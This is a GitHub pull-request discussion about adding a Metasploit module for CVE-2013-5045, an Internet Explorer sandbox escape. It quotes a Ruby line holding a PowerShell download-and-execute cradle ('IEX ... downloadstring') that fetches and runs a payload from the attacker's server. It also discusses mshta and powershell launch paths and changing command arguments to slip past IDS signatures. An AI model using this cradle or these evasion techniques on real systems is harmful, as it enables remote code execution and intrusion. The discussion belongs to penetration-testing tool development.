Add module for CVE-2013-5045 #3403
Conversation
| def on_request_uri(cli, request) | ||
| if request.uri =~ /\.hta$/ | ||
| print_status("Sending hta...") | ||
| download_and_run = "IEX ((new-object net.webclient).downloadstring('#{get_uri}/#{rand_text_alpha(4 + rand(4))}.psh'))" |
There was a problem hiding this comment.
Is there any reason you cant use cmd_psh_payload(payload.encoded) to fire the payload up?
Presumably you then wouldn't require the additional network traffic.
|
FYI, swapped the comment/repro steps/verification with #3404 as they were accidentally mixed up. |
|
Thanks @OJ! |
|
My understanding of this exploit is that if you added powershell.exe (instead of mshta.exe) as an elevating executable you could just CreateProcess("powershell.exe" "-C blah") and not have to have the web server running? |
|
Tested successfully on Win7 / IE8: |
|
@Meatballs1 because the mshta uses to live under the windows system directory, and had the feeling powershell can live in different locations depending on the version. Maybe I'm wrong because I suck on powershell :(. So was a little bit easier to write with mshta because of that. Since its an escape for the browser's sandbox I've the feeling is okey assuming you have output access from the browser. |
|
Powershell lives in C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe for all versions afaik! |
|
Correct for the x86 version the x64 version would be in %WINDIR%\syswow64\WindowsPowerShell\v1.0\powershell.exe All version live in the same v1.0 folder On May 29, 2014, at 6:57 PM, Meatballs1 [email protected] wrote:
|
|
The System32 path will always exist on x86 and x86_64 systems :D |
|
I know but one executable is x86 and the other is x64 so if you use it for injecting payloads, injecting in to or manipulating other stuff in the system it should be taken in to account in those cases.
|
| end | ||
| end | ||
|
|
||
| def get_dll |
|
@darkoperator but with the shiny powershell code it will autodetect what architecture it is in and compensate :D |
|
Ahhh cool good to know you guys integrated the powersploit stuff then On May 30, 2014 5:18:55 PM GMT-04:00, Meatballs1 [email protected] wrote:
Sent from Kaiten Mail. Please excuse my brevity. |
|
Well still pending ;) |
|
Ahh On May 30, 2014 5:23:16 PM GMT-04:00, Meatballs1 [email protected] wrote:
Sent from Kaiten Mail. Please excuse my brevity. |
|
The popup box appears: If I don't select 'Don't show me the warning for this program' I have to Allow each attempt (3x). Afterwards the keys are created so I can rexploit without the interaction but I thought this was supposed to have no user interaction? |
|
jvazquez-r7#13 attempts to do away with MSHTA and the HTTPServer. Currently the session.core.load_library doesn't have a return value or anything we can wait on. If the DLL was converted to RDLL then we could wait on the thread to return before trying to invoke our command. |
|
@Meatballs1 did a couple of comments on jvazquez-r7#13 for your review once you get a chance. Thanks. |
|
@Meatballs1 finally redid jvazquez-r7#13 on my own, passing the PSH cmd payload via env variable, so the DLL takes care of all the exploitation, and you don't need to sync between module and the DLL. Like you said, witht he old load_library sync is hard. Also kept the HTTP Server to allow to provide JS to close windows created while exploitation, which is a feature I think is interesting. I guess @darkoperator is also happy with this exploitation method, even when I see some discussion about the architectures above. |
|
ping @Meatballs1 @OJ, any of you interested on landing it? Any other stopper? thanks! |
|
I haven't had a chance to test it yet, it also means more regression testing work for me after #2557 :p |
|
Quick glance over shows you guys doing a gsub on the CMD preceeding the PSH segment of the payload. I'd suggest avoiding that since we can (and in testing do) mutate the CMD arguments passed to PSH to avoid static IDS sigs on the wire. |
|
Requirements
rapid7/meterpreter#84
#3402
Verification
Easy verification steps: